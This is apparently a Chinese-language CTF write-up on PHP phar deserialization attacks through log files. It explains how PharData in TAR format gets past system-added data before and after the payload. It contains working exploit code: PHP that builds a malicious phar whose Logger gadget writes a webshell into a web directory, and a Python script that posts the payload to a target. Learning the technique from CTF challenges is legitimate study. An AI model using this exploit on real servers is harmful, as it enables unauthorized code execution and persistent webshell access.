phar绕过前后脏数据
当我们可以写入日志但又会有一些系统自动添加的脏数据时,我们要如何进行phar反序列化攻击呢?
绕过前面脏数据
具体的说,
假如题目会自动在前面加上脏数据,并且内容已知:
那么很好办,只需要正常使用phar脚本并将这部分放进去一起生成phar,他就会自动计算签名了,之后删掉前面脏数据就好
绕过后面脏数据
假如题目会自动在后面加上脏数据,内容未知:
PharData在指定tar格式的时候可以省略后面的脏数据,原理就是tar有检查暂停解析的标志位,所以后面的脏数据不受影响,而PharData则是官方对tar文件进行phar打包的原生函数(所以生成的文件是phar而不是tar)
PharData脚本
//前面的脏数据
$dirtydata = "Type:INFO Messsage:";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
//$phar->setStub('Type:INFO Messsage:GIF89a'."__HALT_COMPILER();");
$a=new Logger();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
会生成phar.tar(文件名随意),该文件不会读取后面的脏数据,同时也可以自定义前面的脏数据(或者你可以写个GIF89a,或者如果自动添加的话,可以先签名然后删掉再发送...)
评价是建议用PharData吧
绕过前面已知的脏数据同时绕过后面未知的脏数据
前面说过,咱基于PharData就行
删掉前面脏数据再发送脚本
//前面的脏数据
$dirtydata = "Type:INFO Messsage:";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
//$phar->setStub('Type:INFO Messsage:GIF89a'."__HALT_COMPILER();");
$a=new Logger();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
//读取原文件,截取,删除
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
例题
最早出现在n1ctf上:n1ctf-2021/wp.md at main · Nu1LCTF/n1ctf-2021 (github.com)
可以看看一些相关wp:
(34条消息) [2021N1CTF国际赛]Easyphp-Wp_Y4tacker的博客-CSDN博客
最近比赛见到一个题,当时我以为后面没有脏数据,踩坑了,而且也没有学过上面绕过脏数据的操作,现在学习了一下进行了复现
网络安全平台测试赛-easyphp
看题目不难看出是写入日志然后phar反序列化攻击,很快想到思路了
但是注意到系统会自动写一些东西进日志,比如会在前面加
看下日志
所以很快想到:
假如题目会自动在前面加上脏数据,并且内容已知:
那么很好办,只需要正常使用phar脚本并将这部分放进去一起生成phar,他就会自动计算签名了,之后删掉前面脏数据就好
然后这个题很骚的地方来了
demo:
当时我这样的时候不会在后面产生脏数据,直接phar攻击就行
但是题目加了点醋
直接phar攻击不行,调试一下会发现根本没有进到phar反序列化的destruct方法,也即意味着反序列化失败了
这是为什么呢?很明显是因为这里我们new了一个log类
所以在反序列化的地方会有个细节,就是这里虽说是file_exist触发反序列化,但是实际上它必须等待log类被destruct之后才会反序列化,但是log如果destruct的话,phar文件就会产生不可避免的后面的脏数据,有了后面的脏数据,就不得不绕过了
很简单,用PharData就行,原理就是tar有检查暂停解析的标志位,所以后面的脏数据不受影响,而PharData则是官方对tar文件进行phar打包的原生函数
脚本
attack.php
class Logger{
private $filename;
private $content;
private $endContent;
function __construct(){
$this->filename = "D:\study\phpStudy_64\phpstudy_pro\WWW\log\log\webshell.php";
$this->endContent = '<?=phpinfo();?>Webshell is created';
}
function info($content){
!file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : "";
$content = "Type:INFO Messsage:$content";
$file = fopen($this->filename,"a");
fwrite($file,$content);
fclose($file);
}
function __destruct(){
$this->info($this->endContent);
}
}
$dirtydata = "Type:INFO Messsage:";
//666
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
//$phar->setStub('Type:INFO Messsage:GIF89a'."__HALT_COMPILER();");
$a=new Logger();
$phar->setMetadata($a);
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
可以看看,phar.tar有我们前面的脏数据
写个py打
import requests
url = 'http://127.0.0.1/log/logger.php'
# url = "http://121.36.226.233:45731/log/logger.php"
### 读取文件 ###
with open('break_phar.tar', 'rb') as f:
datas = {'file': '121', 'name': f.read()}
resp = requests.post(url, data=datas)
print(resp.text)
打过去后,
成功写入shell